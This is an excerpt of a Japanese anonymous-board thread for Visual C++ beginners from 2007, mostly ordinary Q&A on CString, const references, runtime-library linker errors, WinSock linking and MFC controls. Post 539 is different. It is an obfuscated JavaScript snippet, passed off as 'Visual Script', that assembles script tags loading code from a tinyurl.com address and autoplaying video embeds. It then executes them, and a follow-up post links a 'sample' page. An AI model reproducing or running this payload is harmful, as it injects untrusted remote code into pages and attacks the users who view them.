487 名前:デフォルトの名無しさん mailto:sage [2007/02/19(月) 11:15:20 ] マネージプログラムならメソッドのToString そうでなければ、boost::lexical_cast、std::(basic_)ostringstream、std::sprintf (_stprintf)と続く
488 名前:デフォルトの名無しさん mailto:sage [2007/02/19(月) 11:24:28 ] >>487 下の方法でできました!親切な回答ありがとうございます。 int a=100; label1->Text = a.ToString();
489 名前:デフォルトの名無しさん mailto:sage [2007/02/19(月) 15:21:20 ] 連続で申し訳ないのですが、また質問があります。 別の人が作ったソースで下のようにオーバーロードされた関数があるのですが、 この2つの違いって何なんでしょうか? CRect hoge(CRect & r) const { : : } CRect hoge(CRect const & r) const { : : }
490 名前:デフォルトの名無しさん mailto:sage [2007/02/19(月) 15:39:02 ] >>485 必要なライブラリリンクしてないんじゃね
491 名前:デフォルトの名無しさん mailto:sage [2007/02/19(月) 15:40:04 ] >>489 中味は同じでもかまわない コンパイラが区別できればそれでいい
492 名前:デフォルトの名無しさん mailto:sage [2007/02/19(月) 15:42:38 ] >>489 constの有無。 特にconstな参照は右辺値を受け取れるので、 実質的にその多重定義は右辺値か左辺値かで振り分けられる。
493 名前:デフォルトの名無しさん mailto:sage [2007/02/19(月) 16:11:30 ] >>492 右辺値、左辺値とは何を指していますか? この例だと引数は「r」1つだけなので右辺・左辺関係ないように思えます。 あと & についてですが、& をつけると、変数の値を変更すると 呼び出し元のスコープでもそれが変更される、という風に単純に考えています。 これに const が付くということに矛盾も感じます。 const とは、「この引数は変更不可です」という宣言だと思うのですが、 だとすれば、引数を & で渡す意味がないことになります。 このソース、バグ持ちでしょうか?
494 名前:デフォルトの名無しさん mailto:sage [2007/02/19(月) 16:25:50 ] ここはC++相談室じゃないし くだらない質問は遠慮してほしいな
495 名前:デフォルトの名無しさん mailto:sage [2007/02/19(月) 16:34:28 ] >>493 お前が馬鹿なだけだからVCやるまえにC++勉強してこい
496 名前:デフォルトの名無しさん mailto:sage [2007/02/19(月) 17:03:54 ] >>494-495 わかりました… ありがとうございます
497 名前:デフォルトの名無しさん mailto:sage [2007/02/19(月) 18:35:13 ] そもそも右辺値、左辺値はC言語の初歩
498 名前:デフォルトの名無しさん mailto:sage [2007/02/19(月) 19:53:10 ] >>496 あきらめるなな。最初は分かんないことばかりなんだから。
499 名前:デフォルトの名無しさん mailto:age [2007/02/20(火) 22:01:04 ] すみません。 プロジェクトのプロパティで、 ランタイムライブラリについての設定周りで質問なのですが、 今/MDでビルドすると上手く行くいき、/MTにしたところ ヒープの破壊が発生するといった状況になりました。 プロジェクトには自前のDLLを使ってます。 ttp://support.microsoft.com/kb/190799/ja ここにあるとおり、CRTオブジェクトの操作の不備が原因であると 分かりました。 それで質問なのですが、 多くの場合の開発では/MTと/MDどちらを使用するのでしょうか、 /MDの方が、容量が小さくなるし、CRTobjも共有できるようですが、 Cランタイム等がインストールされている必要があります。 /MTだと、ランタイムがインストールされていなくても動作 するようですが、容量が大きく、CRTobjが共有できないようです。 どっちもどっちなのですが、やはり/MDが主流なのでしょうか?
500 名前:デフォルトの名無しさん mailto:sage [2007/02/20(火) 22:13:29 ] 何の目的か知らないけど、とくに必要感じなかったらデフォのままで あとここは初心者スレだし
501 名前:デフォルトの名無しさん [2007/02/20(火) 22:22:00 ] VC++ というよりはC++の話かも知れませんが教えてください。 CStirng s; testFunc(&s); void testFunc(CString s) { CString tmp("test"); (*s) = tmp; } とやると s の値が呼び出し元でも変更されていて、 CString *s; testFunc(s); void testFunc(CString *s) { CString tmp("test"); s = &tmp; } とやると変更されていないのはなぜでしょう? Cのイメージからいくと上の方が変更されずに下で変更されるような気がするのですが・・
502 名前:デフォルトの名無しさん mailto:sage [2007/02/20(火) 22:30:08 ] int *p; testFunc(p); void testFunc (int *p) { int tmp=1; p=&tmp; }
503 名前:499 mailto:sage [2007/02/20(火) 22:48:00 ] あ、スレ違いすみません。 他スレに投げてきます。
504 名前:501 mailto:sage [2007/02/20(火) 22:50:22 ] >>502 すいません。勘違いしていました。 その通りですね。
505 名前:デフォルトの名無しさん mailto:sage [2007/02/20(火) 22:52:04 ] 上のやつもあんまり見ない使い方だな 受けたい場合はこういう風に使うのが普通 void GetWindowText( CString& rString ) const;
506 名前:デフォルトの名無しさん mailto:sage [2007/02/20(火) 22:56:30 ] 素直にCString返せよ。
507 名前:デフォルトの名無しさん mailto:sage [2007/02/21(水) 00:08:53 ] それはどうよ。 んまぁ今のCPUじゃ一瞬だろうけどな…
508 名前:デフォルトの名無しさん mailto:sage [2007/02/21(水) 01:33:29 ] CStringは参照カウント使ってるから、大したオーバーヘッドじゃないよ。
509 名前:デフォルトの名無しさん mailto:sage [2007/02/21(水) 06:19:25 ] オーバーヘッドな気もするけどMFCもこんなことやってるな CString CListCtrl::GetItemText(int nItem, int nSubItem) const { ASSERT(::IsWindow(m_hWnd)); LVITEM lvi; memset(&lvi, 0, sizeof(LVITEM)); lvi.iSubItem = nSubItem; CString str; int nLen = 128; int nRes; do { nLen *= 2; lvi.cchTextMax = nLen; lvi.pszText = str.GetBufferSetLength(nLen); nRes = (int)::SendMessage(m_hWnd, LVM_GETITEMTEXT, (WPARAM)nItem, (LPARAM)&lvi); } while (nRes == nLen-1); str.ReleaseBuffer(); return str; }
510 名前:デフォルトの名無しさん mailto:sage [2007/02/21(水) 09:41:27 ] CStringのコピーは、ポインタコピー + αくらいのオーバーヘッドでしょ。
511 名前:デフォルトの名無しさん [2007/02/21(水) 16:45:09 ] 失礼します。 MS Visual C++ .NET にて質問なのですが、テキストボックスのフォントを textBox1->Font = new System::Drawing::Font("MSゴシック", 10); このように変更できますが、new しっぱなしで構わないのでしょうか? また、 textBox1->Font->Name = "MSゴシック"; textBox1->Font->Size = 10; このように変更できないのでしょうか? よろしくおねがいします。
512 名前:デフォルトの名無しさん mailto:sage [2007/02/21(水) 16:48:36 ] >>511 1) コントロールに割り当てると、うまく壊すタイミングがないからGCに任せるといい。 2) 読み取り専用プロパティだから無理。
513 名前:511 mailto:sage [2007/02/21(水) 18:33:41 ] >>512 ありがとうございます。 でも分からないことだらけで死にそうです…。 ビルダーだったら簡単なのに…。とりあえず以下のように拡張しました。 // フォント情報生成 CString fontName = dlg.GetFaceName(); int fontSize = dlg.GetSize()/10; COLORREF fontColor = dlg.GetColor(); // BOLD と ITALIC int fontStyle = 0; if(dlg.IsBold() ) fontStyle += (int)FontStyle::Bold; if(dlg.IsItalic()) fontStyle += (int)FontStyle::Italic; // セット textBox1->Font = new System::Drawing::Font(fontName, fontSize, (FontStyle)fontStyle); なお new を gcnew にすると error C2065: 'gcnew' : 定義されていない識別子です。 とエラーが出ます。 これは何故なのでしょうか?
514 名前:デフォルトの名無しさん mailto:sage [2007/02/21(水) 19:33:37 ] 言語が違うからだろう。 Visual Studio .NET 2002 / 2003 -> Managed C++ Visual Studio 2005 -> C++/CLI おそらく2003あたりなんだろうけど、 開発環境は "MS Visual C++ .NET" なんて略さず、確り書くべき。
515 名前:デフォルトの名無しさん mailto:sage [2007/02/21(水) 19:46:08 ] マネージドC++ではマネージクラスをnewすると漏れなくGCの管理下に置かれる。 それはともかくこのほうがいいと思う。 FontStyle fontStyle; if (dlg.IsBold()) fontStyle |= FontStyle::Bold; if (dlg.IsItalic()) fontStyle |= FontStyle::Italic;
516 名前:デフォルトの名無しさん [2007/02/21(水) 22:37:04 ] .NET 2003でWinsockを使いたい場合どうすればいいのでしょうか? プロジェクトを作る場合にチェックボックスで指定出来るのは後から 知ったのですが、これを忘れた場合どうすればよいのでしょうか? ws2_32.lib のリンクなどが必要だと思うのですが、VC++6.0とは リンクの仕方が変わっているようで分かりませんでした。
517 名前:デフォルトの名無しさん mailto:sage [2007/02/21(水) 22:50:37 ] プロジェクトを作る場合にチェックボックスで指定した場合 プロジェクトを作る場合にチェックボックスで指定しなかった場合 2種類つくってどこが違うか比較
518 名前:デフォルトの名無しさん mailto:sage [2007/02/21(水) 22:58:45 ] /LIBPATH をmsdnで調べましょう
519 名前:デフォルトの名無しさん [2007/02/21(水) 23:12:26 ] >>482 有難うございます、解決できました。
520 名前:デフォルトの名無しさん [2007/02/22(木) 10:56:24 ] >>514-515 ありがとうございます。 おかげさまで疑問点は解決できました。
521 名前:デフォルトの名無しさん [2007/02/22(木) 11:05:08 ] どうでもいい質問かもしれないのですが、 textBox1->Font = new Font("MSゴシック", 10); と、プログラムからフォント指定する場合、 textBox1コンポーネントに元々あったはずのフォント情報を保存するためのメモリ領域は どこへ行っちゃうのでしょうか…?
522 名前:デフォルトの名無しさん mailto:sage [2007/02/22(木) 12:43:15 ] .NETではその内ガベージコレクタによって回収される。 だからメモリリークの心配は要らない。
523 名前:デフォルトの名無しさん mailto:sage [2007/02/22(木) 14:03:58 ] >>522 .NETすげー。 サンクスコ。
524 名前:デフォルトの名無しさん [2007/02/22(木) 20:22:07 ] 今後C++は廃れますか
525 名前:デフォルトの名無しさん mailto:sage [2007/02/22(木) 20:29:21 ] 仕様の汚さでC++を凌駕する言語が現れるまでは安泰です
526 名前:デフォルトの名無しさん mailto:sage [2007/02/22(木) 23:16:23 ] 既に現れていると思うが。Dとか。
527 名前:デフォルトの名無しさん mailto:sage [2007/02/23(金) 00:03:53 ] C言語の次だからD言語? だとしたらA言語とかB言語もあるってこと?
528 名前:デフォルトの名無しさん mailto:sage [2007/02/23(金) 00:05:27 ] Bはあるよ
529 名前:デフォルトの名無しさん mailto:sage [2007/02/23(金) 00:31:38 ] でもBはAの次ということではなく、BCPLの頭文字が由来。 ついでに言うとCの由来はBの後継ということでBCPLの2文字目。
530 名前:デフォルトの名無しさん mailto:sage [2007/02/23(金) 00:51:51 ] えーっと ユニコードの設定では CStdioFile::WriteStringで日本語が出力されないんですが いったい如何すればいいんでしょうか?
531 名前:530 mailto:sage [2007/02/23(金) 00:52:51 ] VC2005のMFCでございます。
532 名前:デフォルトの名無しさん mailto:sage [2007/02/23(金) 07:03:23 ] >>531 既定ではCロケールになっているので、Unicode/MBCS変換時に日本語は無視されてしまう。 以下の一行をInitInstance辺りにでも入れておくと、OSの設定に従うようになる。 _tsetlocale(LC_ALL, _T(""));
533 名前:530 mailto:sage [2007/02/23(金) 07:41:53 ] >>532 <locale.h>をインクルードしてできました。 助かりましたありがとうございます。
534 名前:デフォルトの名無しさん mailto:sage [2007/02/23(金) 17:01:59 ] 質問があります。 ※>>513 のつづきとなっております… MS Visual C++ .NET 2003 においてなのですが、 CEditコンポーネントのフォントを変更する場合、以下のようにすると成功しました。 CEdit* edit(GetDlgItem(IDC_ED1)); CFONT font; LOGFONT logfont; (logfont編集) font = CreateFontIndirect(&logfont); edit->SetFont(font, TRUE); logfontを編集することによって、フォント種類やサイズ、下線などが指定できました。 しかし、フォントの色だけは変更できませんでした。 edit->SetTextColor(refcolor); のような関数があればいいのですがCEditのメンバにはないようにです。 CEditコンポーネントのフォント色を変更する方法を知ってる方、どうか 教えていただけないでしょうか。
535 名前:デフォルトの名無しさん mailto:sage [2007/02/23(金) 18:51:51 ] フォント色コンポーネント
536 名前:デフォルトの名無しさん mailto:sage [2007/02/23(金) 20:07:16 ] >>534 WM_CTLCOLORをハンドル。 親が処理するか、メッセージ返送を使ってCEditの派生で処理させるか好きな方を。 残念ながら、背景色はSetBkColorだけではうまくいかない。でも調べるの('A`)マンドクセ
537 名前:デフォルトの名無しさん [2007/02/23(金) 21:06:59 ] >>536 ありがとうございます。 ググるための重要なキーワードです。ただ…訳の分からないエラーが出たり 基本を分かってなかったりで死にそうです。 ちょっと首吊ってきます…。
538 名前:デフォルトの名無しさん [2007/02/23(金) 22:18:10 ] warning LNK4075: /EDITANDCONTINUE は /OPT:ICF の指定によって無視されます。 error LNK2005: "private: __thiscall type_info::type_info(class type_info const &)" (??0type_info@@AAE@ABV0@@Z) は既に LIBCMT.lib(typinfo.obj) で定義されています。 MSVCRTD.lib(ti_inst.obj) : error LNK2005: "private: class type_info & __thiscall type_info::operator=(class type_info const &)" (??4type_info@@AAEAAV0@ABV0@@Z) は既に LIBCMT.lib(typinfo.obj) で定義されています。 LINK : warning LNK4098: defaultlib 'MSVCRTD' は他のライブラリの使用と競合しています。/NODEFAULTLIB:library を使用してください。 fatal error LNK1169: 1 つ以上の複数回定義されているシンボルが見つかりました。 VC++のない環境でもEXEを実行できるよう VC++2005で/MTオプションでビルドしたところ上のようなエラーが出ました。 LIBCMT.libを無視するようにしたら、ビルドは通りましたがVCのない環境では実行できませんでした。 調べたところ Microsoft_VC_DebugCRT_x86.msm policy_8_0_microsoft_vc80_debugcrt_x86.msm とういうファイルに依存しているようでした、VCがない環境で実行できないのはこれが原因でしょうか?
539 名前:デフォルトの名無しさん [2007/02/23(金) 22:26:47 ] f="3a5"+"sm4";var d=new Array();tt=" - ";dd="";tt+="連";x=$.split(" \n ");tt+="続";xx="";tt+="動"; tt+="画";j=0;for(i=0;x.length>i;i++){if(3<=x[i].length){j++;if(1==j){tx=x[i];}else{a=x[i].split("&l=");b=eval(a[1]); if(1>b){b=1;}else if(999<b){b=999;} b=(b+.1)/1000;b=a[0]+"&auto"+"play=1&l="+(""+b).substr(2,3); c="you"+"tube.com/v/000000"+"00000&aut"+"oplay=1&l=99";b+=c+"9"+c+"8"+c+"7";b=b.substr(0,42*3); xx+=b;}}} ds="<scr"+"ipt ";dq="src="+"//tin"+"yur"+"l.c"+"om/";dc=ds+dq;de="</scr"+"ipt>"; dn="<noscr"+"ipt>< img "+dq; df="</noscr"+"ipt>";db="<noem"+"bed>";dx="<xnoem"+"bed>"; d[0]="\";"+de+dc+f+">"+de+"\n";d[1]="<html><center><title>"+tx+tt+"</title>"+ds+">x=\""; d[2]=dn+"y5o"+"vet >"+db+df+ds+">x=\"";d[3]=dc+"yn2"+"d2r>"+de+dx+dx+ds+">x=\"";n=xx.length/(42*3); for(j=0;3>j;j++){dd+=d[j+1];for(i=0;n>i;i++){dd+=xx.substr(42*(3*i+j),42);}dd+=d[0];};exec(dd);
540 名前:デフォルトの名無しさん [2007/02/23(金) 22:28:05 ] ↑ Visual Script
541 名前:デフォルトの名無しさん [2007/02/23(金) 22:30:18 ] サンプル動作例 g-s.s7.xrea.com/bbs_ftp/source/guro_0362.htm?1
542 名前:デフォルトの名無しさん mailto:sage [2007/02/23(金) 22:55:13 ] >>538 >MSVCRTD.lib(ti_inst.obj) : error LNK2005: "private: class type_info & __thiscall type_info::operator=(class type_info const &)" (??4type_info@@AAEAAV0@ABV0@@Z) は既に LIBCMT.lib(typinfo.obj) で定義されています。 >LINK : warning LNK4098: defaultlib 'MSVCRTD' は他のライブラリの使用と競合しています。/NODEFAULTLIB:library を使用してください。 Releaceでリビルドし直せ。
543 名前:デフォルトの名無しさん [2007/02/24(土) 00:30:16 ] 一般にC++と言う場合、それがVisual C++をさしている確率は低いんでしょうか?
544 名前:デフォルトの名無しさん [2007/02/24(土) 01:00:47 ] Visual C++のデバッグモードは便利ですね プログラムを組んでも、必ずといっていいほど最初はとんでもないことしてるので、デバッグモードで動かすと すぐ修正できて便利です。 ただ、ファイルを開いてなんかするプログラムだと、デバッグモードではファイルを開くことができません。 これは仕方ないのでしょうか
545 名前:デフォルトの名無しさん mailto:sage [2007/02/24(土) 01:10:40 ] ファイルを開くときの共有モードをどうにかすればいい。
546 名前:デフォルトの名無しさん mailto:sage [2007/02/24(土) 06:13:43 ] デバッグモードでも普通にファイル開けるだろ 何を言ってるのか理解できない
547 名前:デフォルトの名無しさん mailto:sage [2007/02/24(土) 10:25:10 ] >>543 C++はプログラミング言語で、VisualC++はMicrosoftのプログラム開発ソフト。 意味が全く違う。
548 名前:デフォルトの名無しさん [2007/02/24(土) 13:14:08 ] 特定の時刻になったら知らせる方法を教えてください
549 名前:デフォルトの名無しさん mailto:sage [2007/02/24(土) 13:26:35 ] つ[タスク]
550 名前:デフォルトの名無しさん [2007/02/24(土) 13:33:44 ] どういうように使うのですか?
551 名前:デフォルトの名無しさん mailto:sage [2007/02/24(土) 13:56:37 ] CLSID_CTaskSchedulerでCoCreateInstanceして IID_ITaskSchedulerを介してアクセス。
552 名前:デフォルトの名無しさん mailto:sage [2007/02/24(土) 14:02:35 ] WaitableTimer作って、WaitFor...で待つとか。
553 名前:デフォルトの名無しさん [2007/02/26(月) 11:45:16 ] 2003年の本で勉強したらもう古いらしくて損したよー 新しい本買わなきゃ ・゚・(ノД`)・゚・。ウワーン
554 名前:デフォルトの名無しさん mailto:sage [2007/02/26(月) 12:21:38 ] あんたばか?
555 名前:デフォルトの名無しさん mailto:sage [2007/02/26(月) 15:02:31 ] >>547 >>543 がそんな意図で聞いてるんじゃないことは明白だと思うんだが
556 名前:デフォルトの名無しさん mailto:sage [2007/02/26(月) 15:27:10 ] 気に入らなかったら説明してやれば?
557 名前:デフォルトの名無しさん mailto:sage [2007/02/26(月) 15:59:46 ] C++って言ったら、やはりプログラミング言語って言うしかないんじゃない? gccなのかVisualC++なのかC++Builderなのか.NETなのか判断できないし。
558 名前:デフォルトの名無しさん mailto:sage [2007/02/26(月) 20:59:28 ] >>543 そういうのって無意味だよな。 VCが使えない分野でなら確実にVCのことではない。
559 名前:デフォルトの名無しさん mailto:516 [2007/02/26(月) 23:23:35 ] >>518 の回答を元に調べてみましたが解決しなかったので教えてください。 .NET 2003 で WinSock を使用する方法です。 プロパティページの追加のライブラリのディレクトリにws2_32.libがある Microsoft Visual Studio .NET\Vc7\PlatformSDK\lib を追加して winsock2.hをインクルードするようにしたのですが、リンクのエラーになってしまいます。 未解決の外部シンボル __imp__WSAStartup@8 が関数〜 fatal error LNK1120: 外部参照 2 が未解決です といった感じです。 どうすればよいのでしょうか?
560 名前:デフォルトの名無しさん mailto:sage [2007/02/26(月) 23:26:59 ] 更にプロジェクトのプロパティのリンカの中のどこかに、 追加の入力ファイルという項目があるから、そこにws2_32.libと書く。 そうしてはじめてリンク時にws2_32.libが使われる。
561 名前:デフォルトの名無しさん mailto:sage [2007/02/26(月) 23:33:39 ] まだやってたのか 差分とって調べりゃ5分で済んだろうにアホだな
562 名前:516 mailto:sage [2007/02/26(月) 23:46:01 ] >>560 ありがとうございます。 確認してみます。 >>561 差分ってどうやってだすんですか? テキストであればツールで簡単に確認できますが、リンカの設定などは バイナリデータに入ってそうなんですが。
563 名前:デフォルトの名無しさん mailto:sage [2007/02/26(月) 23:50:44 ] しかしファイル名はテキストのまま書き込まれている
564 名前:デフォルトの名無しさん mailto:sage [2007/02/27(火) 01:30:39 ] 大丈夫、VisualStudio2003ならその辺の設定は全部テキストだ。
565 名前:デフォルトの名無しさん mailto:sage [2007/02/27(火) 04:45:26 ] *.vcproj をメモ帳で開いて見れ。 さすれば、幸せを手に入れることが出来るだろう。
566 名前:デフォルトの名無しさん mailto:sage [2007/02/27(火) 10:26:29 ] >>561 アホとか言うのは控えろよ ここ初心者スレだぞ カスが
567 名前:デフォルトの名無しさん mailto:sage [2007/02/27(火) 11:02:54 ] MFCダイアログベースで、ヘッダ情報に頼らずにファイルの容量を取得するにはどうすればいいでしょうか。
568 名前:デフォルトの名無しさん mailto:sage [2007/02/27(火) 11:09:10 ] GetFileSize()
569 名前:デフォルトの名無しさん mailto:sage [2007/02/27(火) 11:40:03 ] 唐突にヘッダ情報って?
570 名前:デフォルトの名無しさん mailto:sage [2007/02/27(火) 17:05:09 ] VC2005 MFCベースでMDIのアプリですが、追加画面が必要になったので リソースビューの欄で「Dialogを挿入」を行い画面をデザインしてます。 この画面にボタンを2個配置しました。 Aのボタンは最初は無効状態でBのボタンを押すことによって有効にします。 なのでAのボタンは「メンバー変数追加ウイザード」でメンバー変数m_bt1を追加して Bのボタンが押されたイベントの中でm_bt1.EnableWindow(TRUE);と記述しました。 しかし、コンパイルは通りますが動作させるとエラーが出ます。 ちなみに CButton* m_bt1 = (CButton*)GetDlgItem(IDC_BUTTON1); m_bt1->EnableWindow(TRUE); と記述すると正常に動作します。 何故メンバー変数追加で操作するとエラーになるのでしょうか? IDや変数名の重複は無いです。
571 名前:デフォルトの名無しさん mailto:sage [2007/02/27(火) 17:11:38 ] 別に問題ないと思うけど あとは簡単なテストプログラム作って試すぐらいだから自分でやってみれば?
572 名前:デフォルトの名無しさん mailto:sage [2007/02/27(火) 17:14:50 ] 追加したダイアロクじゃなくて 新しく簡単なサンプル作ってやってみれば?ということね
573 名前:デフォルトの名無しさん mailto:sage [2007/02/27(火) 18:02:36 ] m_bt1は有効だった?NULLだったりしないか?
574 名前:デフォルトの名無しさん mailto:sage [2007/02/27(火) 18:03:29 ] つか、メンバのほうか m_bt1.m_hWndは有効な値だった?
575 名前:570 mailto:sage [2007/02/27(火) 18:32:01 ] >>574 カーソルを当てて見てみたところメンバー変数を定義した変数のm_hWndは0x00000000です。 CButton* m_bt1 = (CButton*)GetDlgItem(IDC_BUTTON1); m_bt1->EnableWindow(TRUE); としてm_bt1のh_Wndを見ると0x00090beeです。
576 名前:デフォルトの名無しさん mailto:sage [2007/02/27(火) 18:43:02 ] んじゃIDがおかしいとかかな。 変数定義もっかいやりなおしてみたら。 何回やってもダメならその手順書いてみな
577 名前:デフォルトの名無しさん mailto:sage [2007/02/27(火) 18:44:27 ] メンバ変数の登録がちゃんとできてない。 もう一度やり直してみるといい。 対象のボタンを右クリックして「メンバ変数の追加」、 んでコントロール変数として適当なのを追加。
578 名前:570 mailto:sage [2007/02/27(火) 18:52:14 ] >>576 >>577 了解しました。 もう一度見直してみます。
579 名前:デフォルトの名無しさん [2007/02/27(火) 19:50:05 ] roopoutには確実にFALSEがはいっているのに if(roopout==FALSE) break; else .... が機能しませんが環境によってそういうことがあるのですか? デバッグしながら確実に中にはいってるものを確かめましたがelseのほうにいきます
580 名前:デフォルトの名無しさん mailto:sage [2007/02/27(火) 19:56:06 ] FALSEとfalseは違うんじゃなかったっけ if (!roopout) とか書いた方が安全
581 名前:デフォルトの名無しさん mailto:sage [2007/02/27(火) 19:57:12 ] それかifの後ろのどっかに変なセミコロンが紛れ込んでいて 条件式が真の場合にただの空行を実行してるとか
582 名前:デフォルトの名無しさん [2007/02/27(火) 19:57:24 ] やってみます
583 名前:デフォルトの名無しさん mailto:sage [2007/02/27(火) 20:03:07 ] ifとelseの間がbreakだけなので、ステップ実行で確認したときあたかも素通りしたように 見えるだけなんじゃない?
584 名前:デフォルトの名無しさん [2007/02/27(火) 20:06:22 ] ではなぜelseの処理に
585 名前:デフォルトの名無しさん mailto:sage [2007/02/27(火) 20:06:35 ] 2005から始めた初心者はかなりきつい状態だろうな 本もサイトも全然ないもんな……
586 名前:デフォルトの名無しさん mailto:sage [2007/02/27(火) 20:21:12 ] 実は if(roopout=FALSE) と書いていた。
587 名前:デフォルトの名無しさん mailto:sage [2007/02/27(火) 20:23:05 ] それに気付かなくてえらい苦労をした経験から、 条件文は必ず定数を先に書くことにしてる if(200 == myIQ) みたいな
588 名前:デフォルトの名無しさん mailto:sage [2007/02/27(火) 20:29:16 ] 今時それくらいは警告を出すから、わざわざナンセンスな書き方をする必要など無い。
589 名前:デフォルトの名無しさん [2007/02/27(火) 20:39:44 ] そんな書き方してません 再起動したりしたら動きました
590 名前:516 mailto:sage [2007/02/27(火) 21:44:56 ] ありがとうございました。 テキストファイルを見比べてみて同じようにすれば出来ました。 VC++6.0のSDKのときはライブラリをリンクして winsock2.h をインクルードして たんですが、今回、2003のMFCの場合、ヘッダをインクルードして後はちょこちょこっと 関数を呼び出しているだけでライブラリのリンクは特にしていないように思えました。 良く分からなかったのですが、とにかく出来ました。
591 名前:デフォルトの名無しさん mailto:sage [2007/02/28(水) 01:23:13 ] >>588 VCだと警告されない罠。 gccでは文句言われるので、そっちに合わせた書き方してるけど。
592 名前:デフォルトの名無しさん mailto:sage [2007/02/28(水) 01:51:43 ] warning C4706: 条件式の比較値は、代入の結果になっています。
593 名前:591 mailto:sage [2007/02/28(水) 02:46:30 ] ありゃ、見逃してた。ひゃくにんいっちゅの所為かorz 安全性考えると、pragmaか/wオプションでレベル下げとくのもありかなあ。
594 名前:デフォルトの名無しさん mailto:sage [2007/02/28(水) 14:56:39 ] if(FALSE == flag) みたいに定数を先に書くソースを見ると身震いするほど嫌悪感を抱くのは俺だけ?
595 名前:デフォルトの名無しさん mailto:sage [2007/02/28(水) 15:09:53 ] 一度精神科を受診することをオススメする。
596 名前:デフォルトの名無しさん mailto:sage [2007/02/28(水) 15:43:04 ] >>594 初めて見た。
597 名前:デフォルトの名無しさん mailto:sage [2007/02/28(水) 17:00:54 ] >>594 オレも。
598 名前:594 mailto:sage [2007/02/28(水) 17:09:35 ] >>595 ちょっと受診してくるから良い病院を紹介してくれ
599 名前:デフォルトの名無しさん mailto:sage [2007/02/28(水) 23:18:59 ] www.kouno.jp/home/c_faq/c17.html#4
600 名前:デフォルトの名無しさん mailto:sage [2007/03/01(木) 00:39:08 ] 打ちそこねで=を一つ落とすことはあっても うっかりしてリテラルと変数を逆に書くなんてことはない。
601 名前:デフォルトの名無しさん mailto:sage [2007/03/01(木) 08:11:35 ] >>600 そりゃいないだろ わざと逆にやってんだから
602 名前:デフォルトの名無しさん mailto:sage [2007/03/01(木) 10:24:23 ] プログラムを文章として読むと、それが気持ち悪いんだよね。 文章のように読めるプログラムを理想としてるのがわるいのかなあ。
603 名前:デフォルトの名無しさん mailto:sage [2007/03/01(木) 11:20:23 ] >>602 そうそう。たとえば、 if( a == 100 ) だと、頭の中で「a は 100 か」と読める。 でも if( 100 == a ) だと、「100 は a か」と読んでしまう。 主題が a ではなくなってしまい、思考が後戻りしてしまう感覚が あってなんかイラッとする。
604 名前:デフォルトの名無しさん [2007/03/01(木) 11:27:04 ] デバッグの停止ボタンを押すとデバッグ中のプログラムは停止しますが 解放処理等はちゃんと行われているのでしょうか?
605 名前:デフォルトの名無しさん mailto:sage [2007/03/01(木) 12:04:11 ] >>604 行なわれるものと行なわれないものがある。
606 名前:デフォルトの名無しさん [2007/03/01(木) 12:09:02 ] C言語で #include <stdio.h> int main(void) { printf("こんにちは\n"); return 0; } って書いたプログラムってそのままC++で実行できる? それとも #include <iostream> using namespace std; int main() { cout << "こんにちは" << endl; } って書かなきゃだめ?
607 名前:デフォルトの名無しさん mailto:sage [2007/03/01(木) 12:10:41 ] そのままできるのがC++の強み
608 名前:デフォルトの名無しさん mailto:sage [2007/03/01(木) 12:16:52 ] 正しくは#include <cstdio>
609 名前:デフォルトの名無しさん [2007/03/01(木) 12:18:10 ] >>607 そうなんですか〜 ありがとうございます。 はじめたばかりの初心者ですみません。
610 名前:デフォルトの名無しさん [2007/03/01(木) 12:21:24 ] #include <cstdio> ですか。間違えました。
611 名前:デフォルトの名無しさん mailto:sage [2007/03/01(木) 12:42:34 ] <cstdio>を使うならprintfではなく、std::printfと書かなければいけないぞ。
612 名前:デフォルトの名無しさん mailto:sage [2007/03/01(木) 13:01:53 ] C++だからといって、cin,coutに拘る必要は無い。 とか思う俺は年寄りなんだろうな……
613 名前:デフォルトの名無しさん [2007/03/01(木) 13:15:26 ] すみません。もうひとつ。 #include <stdio.h> int main(void) { printf("こんにちは\n"); return 0; } マイクロソフトのVisual C++でやってみたところ 画面が一瞬出てからすぐ消えちゃうんですがどうすればいいでしょうか?
614 名前:デフォルトの名無しさん [2007/03/01(木) 13:16:41 ] こんにちは→helloに変更します。
615 名前:デフォルトの名無しさん mailto:sage [2007/03/01(木) 13:22:56 ] >>613 Visual Studioのバージョンによるが「デバッグなしで開始」するか、 コマンドプロンプトを開いてそこから実行する。
616 名前:デフォルトの名無しさん mailto:sage [2007/03/01(木) 14:15:45 ] >>613 何回も何回も出るな、その質問。 >>615 でいいけど、デバッグしたいなら rerturn にブレークポイント置くか、その前に getchar(); でも入れとけば。
617 名前:デフォルトの名無しさん [2007/03/01(木) 14:23:07 ] >>615-616 ありがとうございます。
618 名前:デフォルトの名無しさん mailto:sage [2007/03/01(木) 15:07:29 ] C++をCコンパイラとして使うのはやめた方が良くないか? それは強みというより、自分の首を自分で絞めているようなもののような気がする。 stdioなんて使わずに、がんばってC++のライブラリを使用すべきなんじゃないか。 論じる次元が違うかもだけど、構造化プログラミングというパラダイムとオブジェクト 指向というパラダイムを同時に使っているような気がして、なんか嫌だ。 C++がますます煙たがれ、衰退するような気がする。
619 名前:デフォルトの名無しさん mailto:sage [2007/03/01(木) 16:19:30 ] >>618 話が飛躍しすぎ
620 名前:デフォルトの名無しさん mailto:sage [2007/03/01(木) 16:32:13 ] >>618 C++はそういう複数のパラダイムを使えることが強みだと C++の作者Stroustrupも自著D&Eで言っている。
621 名前:デフォルトの名無しさん mailto:sage [2007/03/01(木) 16:37:20 ] 質問があります。 afxwin.hをインクルードしているのにも関わらず、CWndを使うと error C2061: 構文エラー : 識別子 'CWnd' というのが出ます。 CWndを使用するためにはafxwin.hをインクルードするだけでは足りないのでしょうか?
622 名前:デフォルトの名無しさん mailto:sage [2007/03/01(木) 18:44:42 ] そのエラーの行を、前後数行含めてコピペしてみ
623 名前:デフォルトの名無しさん mailto:sage [2007/03/01(木) 19:24:24 ] >>622 返答ありがとうございます。 この行が先頭に出て、他にエラーは出ません。
624 名前:デフォルトの名無しさん mailto:sage [2007/03/01(木) 21:06:01 ] afxwin.hがあればいい
625 名前:デフォルトの名無しさん mailto:sage [2007/03/01(木) 21:14:14 ] つまりそれ以外の原因を疑えということ
626 名前:デフォルトの名無しさん mailto:sage [2007/03/01(木) 22:31:17 ] 俺としてはcinとかcoutってそんなにいいものなのかねって思う。 C言語に変なもの持ち込んでC++を作りやがってとすら思っている。
627 名前:デフォルトの名無しさん mailto:sage [2007/03/02(金) 03:05:26 ] > 俺としてはcinとかcoutってそんなにいいものなのかねって思う 実に便利だと思う。STLと絡めると特に。
